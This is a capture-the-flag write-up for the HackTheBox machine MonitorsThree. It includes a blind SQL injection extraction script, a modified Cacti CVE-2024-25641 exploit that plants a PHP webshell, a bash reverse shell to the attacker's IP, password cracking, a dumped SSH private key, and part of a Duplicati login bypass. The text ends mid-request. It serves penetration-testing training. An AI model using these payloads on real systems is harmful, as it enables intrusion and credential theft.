MonitorsThree – HackTheBox Link to heading

  • OS: Linux
  • Difficulty: Medium
  • Platform: HackTheBox

‘MonitorsThree’ Avatar


Summary Link to heading

“MonitorsThree” is a Medium machine from HackTheBox platform. The machine presents a vhost page that contains an application vulnerable to SQL Injection. This allow us to extract a password for the site running a Cacti version vulnerable to CVE-2024-25641, which is an authenticated Remote Code execution vulnerability, allowing us to gain initial access to the victim machine. Once inside, we are able to find a MySQL database storing a password for a user; allowing us to pivot internally. We can extract a key for this user and log in through SSH as well. We can then see we have an internal webpage running identified as Duplicati; a tool to create backups of the system. We are able to bypass the login panel for Duplicati create backup of files that requires high privileges, which we can read, completing the machine.


User Link to heading

Starting with Nmap scan shows only 2 ports open: 22 SSH and 80 HTTP.

❯ sudo nmap -sVC -p22,80 10.10.11.30

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-25 01:30 -03
Nmap scan report for 10.10.11.30
Host is up (0.19s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 86:f8:7d:6f:42:91:bb:89:72:91:af:72:f3:01:ff:5b (ECDSA)
|_  256 50:f9:ed:8e:73:64:9e:aa:f6:08:95:14:f0:a6:0d:57 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://monitorsthree.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.46 seconds

From the output we can see that HTTP site is redirecting to http://monitorsthree.htb.

We then add this domain to our /etc/hosts file running:

❯ echo '10.10.11.30 monitorsthree.htb' | sudo tee -a /etc/hosts

Now, visiting http://monitorsthree.htb in a web browser shows:

MonitorsThree 1

We can see a Login button at the top right of this page. Clicking on it redirects to http://monitorsthree.htb/login.php. Here, we have a simple login panel:

MonitorsThree 2

This page does not allow us to create a user. It only has a Forgot password? option (that redirects to /forgot_password.php page), which asks for a user.

MonitorsThree 4

Since we don’t have potential users yet (besides an email sales@minotirsthree.htb from the main webpage), we might come to this portal later.

We then start searching for subdomains that could be applying Vhost. For this, we can use ffuf:

❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://monitorsthree.htb/ -H 'Host: FUZZ.monitorsthree.htb' -fw 3598

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://monitorsthree.htb/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.monitorsthree.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 3598
________________________________________________

cacti                   [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 185ms]
:: Progress: [4989/4989] :: Job [1/1] :: 198 req/sec :: Duration: [0:00:23] :: Errors: 0 ::

We find 1 subdomain: cacti.monitorsthree.htb.

We add this new subdomain to our /etc/hosts file. Now this file looks like:

❯ tail /etc/hosts -n 1

10.10.11.30 monitorsthree.htb cacti.monitorsthree.htb

Once added, we can visit http://cacti.monitorsthree.htb. We can now see a new login panel:

MonitorsThree 3

This is a login panel for Cacti.

Info
Cacti is an open source RRDTool (Round Robin Database Tool) that enables you to input data and information feeds to the platform and it will automatically generate accurate graphs and diagrams based on the feeds.

We can see a version for this software: 1.2.26. Searching for cacti 1.2.26 exploit leads to this post explaining that there is a vulnerability for this version labeled as CVE-2024-25641 that allows Remote Code Execution (RCE). We can then search for the Github advisory that reported the vulnerability, where the following Proof of Concept script is provided:

<?php

$xmldata = "<xml>
   <files>
       <file>
           <name>resource/test.php</name>
           <data>%s</data>
           <filesignature>%s</filesignature>
       </file>
   </files>
   <publickey>%s</publickey>
   <signature></signature>
</xml>";
$filedata = "<?php phpinfo(); ?>";
$keypair = openssl_pkey_new(); 
$public_key = openssl_pkey_get_details($keypair)["key"]; 
openssl_sign($filedata, $filesignature, $keypair, OPENSSL_ALGO_SHA256);
$data = sprintf($xmldata, base64_encode($filedata), base64_encode($filesignature), base64_encode($public_key));
openssl_sign($data, $signature, $keypair, OPENSSL_ALGO_SHA256);
file_put_contents("test.xml", str_replace("<signature></signature>", "<signature>".base64_encode($signature)."</signature>", $data));
system("cat test.xml | gzip -9 > test.xml.gz; rm test.xml");

?>

The only “problem” is that this is an authenticated RCE exploit, i.e., we need credentials for Cacti login panel to inject the malicious code. We can try with credentials admin/admin (the default ones based on its documentation), root:root, guest:guest and others, but they didn’t work.

Thinking about a little bit, we can remember that the Password Recovery panel located at http://monitorsthree.htb/forgot_password.php. If I try change the password to an email that does not exists like test@test.com in the site we get an error message:

MonitorsThree 5

But if we attempt a simple SQL Injection like admin' and 1=1-- - we get a “Success” message:

MonitorsThree 6

Additionally, if we put admin' AND SLEEP(5)-- - the page takes 5 seconds to return info. So this field might be vulnerable to SQL Injection.

We can then intercept the request sent with Burpsuite, where we get the HTTP request:

POST /forgot_password.php HTTP/1.1
Host: monitorsthree.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 26
Origin: http://monitorsthree.htb
DNT: 1
Connection: close
Referer: http://monitorsthree.htb/forgot_password.php
Cookie: PHPSESSID=jniqe9s2vsrrbgk2ofas84sd82
Upgrade-Insecure-Requests: 1

username=test@test.com

In Burpsuite, we can right click on this request, click on Copy to file and save this file as forgot_password.req.

Basically, based if the response contains/does not contain the string Successfully sent password indicates if the injection worked/did not worked. We find 2 ways to do the injection:

One way to dump the needed data is using SQLMap tool. However, this might take a lot of time since it will use a Time-Based injection:

❯ sqlmap -r forgot_password.req -p 'username' --batch --string 'Successfully sent password'

<SNIP>
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
<SNIP>
[03:03:50] [INFO] the back-end DBMS is MySQL
[03:03:50] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)

But this takes forever if we only use Time-Based Injections.

Since Sucessfully sent password text was present on the response when we made a simple injection, we can use this text to say if the injection is (or not) valid. First, we try injecting the following injection:

admin' AND IF(EXISTS(SELECT 1 FROM information_schema.columns WHERE table_name="monitorsthree_db" AND column_name="password"), SLEEP(10), SLEEP(5))-- -

Basically, what it does it checks if there is a column named password in the database monitorsthree_db (that we have previously found with SQLMap, but since this was taking too much time I decided to speed up the process making it manually from this point). If it exists, it “sleeps” for 10 seconds. If it does not exists, it sleeps for 5 seconds.

MonitorsThree 7

In our case the response took more than 10 seconds. So I assume that the column password exists in this table.

We can then make a simple Python script that checks if text Successfully sent password is present in HTTP response. This script only requires PwnTools library for Python to view some logs/verbose. The script is:

#!/usr/bin/python3
import argparse
import requests
import string
from sys import exit as sys_exit
from pwn import log


# Characters for the possible password/password hash
charlist: list[str] = list(string.ascii_letters + string.digits + '!@#$%^&*()')


def get_argument()->argparse.Namespace:
    """
    Get arguments from user
    """
    parser = argparse.ArgumentParser(description='MonitorsThree SQL Injection.')
    parser.add_argument('url', type=str, help='Injection URL')
    return parser.parse_args()


def text_to_inject(len_password: int, char_to_inject: str)->str:
    return f"admin' AND SUBSTR(password,{len_password},1)='{char_to_inject}' -- -"


def make_http_request(url: str)->str|None:
    password: str = ''
    p1 = log.progress('Extracting info')
    p2 = log.progress('Password')
    while True:
        for char in charlist:
            p1.status(f"Attempting request with character {char!r}")
            len_password = len(password)
            data = {'username' : text_to_inject(len_password+1, char)}
            r = requests.post(url, data)
            if (r.status_code != 200) and (r.status_code != 302):
                p1.failure(f"Invalid HTTP status code {r.status_code!r}")
                p2.failure("Password could not be found")
                sys_exit(1)
            if 'Successfully sent password' in r.text:
                password += char
                p2.status(password)
                break
        else:
            break
    if password == '':
        p1.failure(f"Attempted everything and failed")
        p2.failure("Password could not be found")
        sys_exit(1)
    p1.success(f"Password found: {password}")
    p2.success(f"Password length: {len(password)}")
    return


def main()->None:
    # Get argument from user
    args = get_argument()
    # Start the SQL injection against the target
    make_http_request(args.url)


if __name__ == "__main__":
    main()

Basically this script checks, using the SQL Injection, if the character number N of the password parameters is a character X. If they are, we then attempt to get the character N+1 and so on.

Running it returns:

❯ python3 SQL_injection_MonitorsThree.py 'http://monitorsthree.htb/forgot_password.php'

[+] Extracting info: Password found: 31a181c8372e3afc59dab863430610e8
[+] Password: Password length: 32

We are able to obtain what seems to be a hash rather than a plain text password. If we check what hash type we found with hash-identifier, we get:

❯ hash-identifier

<SNIP>
Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))
<SNIP>

It seems to be a MD5 hash. I save this hash into a file named hash_found.

We can then attempt a Brute Force Password Cracking with JohnTheRipper tool:

❯ john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 hash_found

Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=5
Press 'q' or Ctrl-C to abort, almost any other key for status
greencacti2001   (?)
1g 0:00:00:00 DONE (2024-09-25 06:02) 1.204g/s 9380Kp/s 9380Kc/s 9380KC/s greencroc..greenbay18
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

We have a password: greencacti2001.

If we use the credentials admin:greencacti2001 at http://cacti.monitorsthree.htb login panel they work. We are in:

MonitorsThree 8

Now we are authenticated we can exploit CVE-2024-25641 vulnerability as its Github advisory said:

  1. Once we are logged in with a user that has Import Template permissions, go to Import/Export and then Import Packages. This will redirect to path http://cacti.monitorsthree.htb/cacti/package_import.php
  2. I will slightly modify the original PoC from the [Github vulnerability advisory]((https://github.com/Cacti/cacti/security/advisories/GHSA-7cmj-g5qc-pj88) to upload a file named gunzf0x.php in the victim machine that sets a simple webshell:
<?php

$xmldata = "<xml>
   <files>
       <file>
           <name>resource/gunzf0x.php</name>
           <data>%s</data>
           <filesignature>%s</filesignature>
       </file>
   </files>
   <publickey>%s</publickey>
   <signature></signature>
</xml>";
$filedata = '<?php system($_GET["CMD"]); ?>';
$keypair = openssl_pkey_new(); 
$public_key = openssl_pkey_get_details($keypair)["key"]; 
openssl_sign($filedata, $filesignature, $keypair, OPENSSL_ALGO_SHA256);
$data = sprintf($xmldata, base64_encode($filedata), base64_encode($filesignature), base64_encode($public_key));
openssl_sign($data, $signature, $keypair, OPENSSL_ALGO_SHA256);
file_put_contents("payload.xml", str_replace("<signature></signature>", "<signature>".base64_encode($signature)."</signature>", $data));
system("cat payload.xml | gzip -9 > payload.xml.gz; rm payload.xml");

?>

We save this script as payload.php.

  1. We then execute this .php file in our attacker machine with PHP to generate the malicious payload.xml.gz file:
❯ php payload.php

❯ ls -la

total 28
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Sep 25 07:38 .
drwxrwxr-x 5 gunzf0x gunzf0x 4096 Sep 25 01:29 ..
-rw-rw-r-- 1 gunzf0x gunzf0x  854 Sep 25 06:44 payload.php
-rw-rw-r-- 1 gunzf0x gunzf0x 1166 Sep 25 06:44 payload.xml.gz
-rw-rw-r-- 1 gunzf0x gunzf0x 1879 Sep 25 05:36 SQL_injection_MonitorsThree.py
-rw-rw-r-- 1 gunzf0x gunzf0x  828 Sep 25 06:20 test.php
-rw-rw-r-- 1 gunzf0x gunzf0x 1166 Sep 25 06:47 test.xml.gz
  1. Then, upload the malicious payload.xml.gz generated file, select it and click on Import at the bottom right of the page:

MonitorsThree 9

We should be now able to visit http://cacti.monitorsthree.htb/cacti/resource/gunzf0x.php.

Note
There is probably a script/cronjob removing all unintended files from /resource directory. So we need to act quickly and/or attempt to upload the malicious PHP file several times.

Since I like to work in the terminal I will grab my session cookie from Cacti and pass it to cURL. I check if my file has been uploaded and get:

❯ curl -s -b 'cacti=jdv8bfh5ttnb6hhn2sffdbs9ra' -X GET -G 'http://cacti.monitorsthree.htb/cacti/resource/gunzf0x.php' --data-urlencode 'CMD=id'

uid=33(www-data) gid=33(www-data) groups=33(www-data)

We can execute commands.

Therefore, we will start a netcat listener on port 443 and send us a reverse shell with the command:

❯ curl -s -b 'cacti=jdv8bfh5ttnb6hhn2sffdbs9ra' -X GET -G 'http://cacti.monitorsthree.htb/cacti/resource/gunzf0x.php' --data-urlencode 'CMD=bash -c "bash -i >& /dev/tcp/10.10.16.5/443 0>&1"'

and in our netcat listener we get a connection as www-data user:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.30] 49014
bash: cannot set terminal process group (1220): Inappropriate ioctl for device
bash: no job control in this shell
www-data@monitorsthree:~/html/cacti/resource$ whoami

whoami
www-data

We then decide go to /var/www/html and search for configuration files using find:

www-data@monitorsthree:~/html$ find . -name "config*" 2>/dev/null

./cacti/include/config.php
./cacti/include/config.php.dist

We find one file.

If we read this file (also removing comments and empty lines) the file content is:

<?php
 +-------------------------------------------------------------------------+
 | Copyright (C) 2004-2023 The Cacti Group                                 |
 |                                                                         |
 | This program is free software; you can redistribute it and/or           |
 | modify it under the terms of the GNU General Public License             |
 | as published by the Free Software Foundation; either version 2          |
 | of the License, or (at your option) any later version.                  |
 |                                                                         |
 | This program is distributed in the hope that it will be useful,         |
 | but WITHOUT ANY WARRANTY; without even the implied warranty of          |
 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the           |
 | GNU General Public License for more details.                            |
 +-------------------------------------------------------------------------+
 | Cacti: The Complete RRDtool-based Graphing Solution                     |
 +-------------------------------------------------------------------------+
 | This code is designed, written, and maintained by the Cacti Group. See  |
 | about.php and/or the AUTHORS file for specific developer information.   |
 +-------------------------------------------------------------------------+
 | http://www.cacti.net/                                                   |
 +-------------------------------------------------------------------------+
$database_type     = 'mysql';
$database_default  = 'cacti';
$database_hostname = 'localhost';
$database_username = 'cactiuser';
$database_password = 'cactiuser';
$database_port     = '3306';
$database_retries  = 5;
$database_ssl      = false;
$database_ssl_key  = '';
$database_ssl_cert = '';
$database_ssl_ca   = '';
$database_persist  = false;
$poller_id = 1;
$url_path = '/cacti/';
$cacti_session_name = 'Cacti';
$cacti_db_session = false;
$disable_log_rotation = false;
$proxy_headers = null;
$i18n_handler = null;
$i18n_force_language = null;
$i18n_log = null;
$i18n_text_log = null;

We have credentials for a MySQL database: cactiuser:cactiuser.

We can check if MySQL is running on port 3306 (its default port and, also, the specified port in the config.php file):

www-data@monitorsthree:~/html$ ss -nltp | grep 3306

LISTEN 0      70         127.0.0.1:3306       0.0.0.0:*

and connect to this database using these credentials:

www-data@monitorsthree:~/html$ mysql -u cactiuser -pcactiuser
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 80
Server version: 10.6.18-MariaDB-0ubuntu0.22.04.1 Ubuntu 22.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]>

And start searching:

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| cacti              |
| information_schema |
| mysql              |
+--------------------+
3 rows in set (0.001 sec)

MariaDB [(none)]> use cacti;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [cacti]> show tables;
+-------------------------------------+
| Tables_in_cacti                     |
+-------------------------------------+
| aggregate_graph_templates           |
| aggregate_graph_templates_graph     |
<SNIP>
| snmpagent_mibs                      |
| snmpagent_notifications_log         |
| user_auth                           |
| user_auth_cache                     |
| user_auth_group                     |
<SNIP>

MariaDB [cacti]> select * from user_auth;

<SNIP>

MariaDB [cacti]> select username,password from user_auth;
+----------+--------------------------------------------------------------+
| username | password                                                     |
+----------+--------------------------------------------------------------+
| admin    | $2y$10$tjPSsSP6UovL3OTNeam4Oe24TSRuSRRApmqf5vPinSer3mDuyG90G |
| guest    | $2y$10$SO8woUvjSFMr1CDo8O3cz.S6uJoqLaTe6/mvIcUuXzKsATo77nLHu |
| marcus   | $2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK |
+----------+--------------------------------------------------------------+
3 rows in set (0.000 sec)

We find 3 hashes for 3 different users. We save them into our attacker machine.

We attempt to crack these hashes through a Brute Force Password Cracking with JohnTheRipper (john):

❯ john --wordlist=/usr/share/wordlists/rockyou.txt hashes_mysql_db
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
12345678910      (marcus)
<SNIP>

We have credentials: marcus:12345678910.

We can see that marcus user exists in this machine:

www-data@monitorsthree:~/html$ ls -la /home

total 12
drwxr-xr-x  3 root   root   4096 May 26 16:34 .
drwxr-xr-x 18 root   root   4096 Aug 19 13:00 ..
drwxr-x---  4 marcus marcus 4096 Aug 16 11:35 marcus

We finally check if we are able to log in with these credentials as marcus user with NetExec:

❯ netexec ssh 10.10.11.30 -u 'marcus' -p '12345678910'

SSH         10.10.11.30     22     10.10.11.30      [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
SSH         10.10.11.30     22     10.10.11.30      [-] marcus:12345678910 Bad authentication type; allowed types: ['publickey']

and we can’t. It only accepts keys.

However, if I try to pivot to this user internally, we can:

www-data@monitorsthree:~/html$ su marcus
Password: 12345678910

marcus@monitorsthree:/var/www/html$ whoami
marcus

We note that this user has a .ssh directory, and has file inside:

marcus@monitorsthree:/var/www/html$ ls -la /home/marcus/.ssh

total 20
drwx------ 2 marcus marcus 4096 Aug 20 13:07 .
drwxr-x--- 4 marcus marcus 4096 Aug 16 11:35 ..
-rw------- 1 marcus marcus  574 Aug 20 15:23 authorized_keys
-rw------- 1 marcus marcus 2610 Aug 20 15:23 id_rsa
-rw-r--r-- 1 marcus marcus  574 Aug 20 15:23 id_rsa.pub

We can read the key:

marcus@monitorsthree:/var/www/html$ cat /home/marcus/.ssh/id_rsa

-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

We save this key in our attacker machine, and log into the victim machine through SSH:

❯ ssh -i marcus_id_rsa marcus@10.10.11.30

The authenticity of host '10.10.11.30 (10.10.11.30)' can't be established.
ED25519 key fingerprint is SHA256:1llzaKeglum8R0dawipiv9mSGU33yzoUW3frO9MAF6U.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.30' (ED25519) to the list of known hosts.
Last login: Tue Aug 20 11:34:00 2024

marcus@monitorsthree:~$ whoami

marcus

We can finally read the user flag at this user’s /home directory.


Root Link to heading

If we check internal ports open we get:

marcus@monitorsthree:~$ ss -nltp

State               Recv-Q              Send-Q                           Local Address:Port                            Peer Address:Port              Process
LISTEN              0                   500                                    0.0.0.0:8084                                 0.0.0.0:*
LISTEN              0                   4096                                 127.0.0.1:8200                                 0.0.0.0:*
LISTEN              0                   4096                                 127.0.0.1:39537                                0.0.0.0:*
LISTEN              0                   70                                   127.0.0.1:3306                                 0.0.0.0:*
LISTEN              0                   128                                    0.0.0.0:22                                   0.0.0.0:*
LISTEN              0                   511                                    0.0.0.0:80                                   0.0.0.0:*
LISTEN              0                   4096                             127.0.0.53%lo:53                                   0.0.0.0:*
LISTEN              0                   128                                       [::]:22                                      [::]:*
LISTEN              0                   511                                       [::]:80                                      [::]:*

Here, port 8200 looks unusual.

We can check if this is an internal website using cURL:

marcus@monitorsthree:~$ curl -s -L http://127.0.0.1:8200 | head

<!doctype html>
<html>
<head>
    <meta charset="utf-8">
      <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">

    <title>Duplicati Login</title>

    <script type="text/javascript" src="login/jquery-2.0.3.min.js"></script>
    <script type="text/javascript" src="login/cryptojs.js"></script>

We can then attempt a Local Port Forwarding to have access to this internal port. We disconnect from our current SSH session and re-connect making a tunnel:

❯ ssh -i marcus_id_rsa -L 8200:127.0.0.1:8200 marcus@10.10.11.30

to convert the internal port 8200 of the victim machine into our localhost port 8200.

We can then visit http://127.0.0.1:8200 and we can see:

MonitorsThree 10

This service is running Duplicati.

Info
Duplicati is a backup client that securely stores encrypted, incremental, compressed remote backups of local files on cloud storage services and remote file servers.

In short, it is a software to make backup files.

Searching how to deal with this login panel I am able to find this blog page explaining how to bypass Duplicati Login Authentication panel. First, we need to find a SQLite database file where credentials are stored for this service:

marcus@monitorsthree:~$ find / -name "*.sqlite" 2>/dev/null

/opt/duplicati/config/Duplicati-server.sqlite
/opt/duplicati/config/CTADPNHLTC.sqlite

we find a file at /opt/duplicati/config/Duplicati-server.sqlite.

We can then pass this file to our attacker machine using scp:

❯ scp -i marcus_id_rsa marcus@10.10.11.30:/opt/duplicati/config/Duplicati-server.sqlite ./

Duplicati-server.sqlite                                                                                                                  100%   88KB  15.7KB/s   00:05

We can then read this database into our attacker machine and use .dump command with SQLite to extract all the info:

❯ sqlite3 Duplicati-server.sqlite

SQLite version 3.46.0 2024-05-23 13:25:27
Enter ".help" for usage hints.

sqlite> .dump

<SNIP>
INSERT INTO Option VALUES(-2,'','server-port-changed','True');
INSERT INTO Option VALUES(-2,'','server-passphrase','Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=');
INSERT INTO Option VALUES(-2,'','server-passphrase-salt','xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=');
INSERT INTO Option VALUES(-2,'','server-passphrase-trayicon','d23afa37-1b6b-4be9-aef3-7823a973f757');
INSERT INTO Option VALUES(-2,'','server-passphrase-trayicon-hash','D0mHkMFvmtGFSxTSrLbJogE7tqqvMyoNW6IOVXtoO1s=');
<SNIP>

This will display all the info stored.

As it is shown in the post, since Duplicati is open source we can see how it encrypts its passwords. There, they refer to this portion of code where saltedpwd and noncedpwd, the variables used to authenticate, are defined.

var saltedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Utf8.parse($('#login-password').val()) + CryptoJS.enc.Base64.parse(data.Salt)));

var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse(data.Nonce) + saltedpwd)).toString(CryptoJS.enc.Base64);

As the post says: “Specifically, the script computes a SHA-256 hash of the concatenation of a password, a salt, and a nonce, enhancing security through salting and nonce-based authentication”. Basically, to get a valid noncedpwd value we need a nonce value (that can be obtained intercepting a request to the login Duplicati page attempting to log in with any password using Burpsuite) and a saltedpwd value (that can be obtained using server-passphrase value from .sqlite3 file). Following, again, the steps from the post, let’s get saltedpwd value. From .sqlite3 file we get the passphrase:

Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=

We can then pass this string from base64, and then to hexadecimal using CyberChef:

MonitorsThree 11

Or we can get this result in our terminal as well:

❯ echo 'Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=' | base64 -d | xxd -p -c 256

59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a

This is the value for saltedpwd. Now, we need to get nonce.

We then go back to Duplicati login, put any password on it and intercept the request sent with Burpsuite. We get a request like:

POST /login.cgi HTTP/1.1
Host: 127.0.0.1:8200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 11
Origin: http://127.0.0.1:8200
DNT: 1
Connection: close
Referer: http://127.0.0.1:8200/login.html
Cookie: xsrf-token=MCS89bI%2Bi%2FrmBPHZMfg%2FwXlp%2Bj%2FWUw%2BZf%2BeEKhssU1g%3D; session-nonce=PX%2B8x5nT5L0qRg6r28dHuOF5STIkRUYbxo%2FZywQLtaY%3D
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
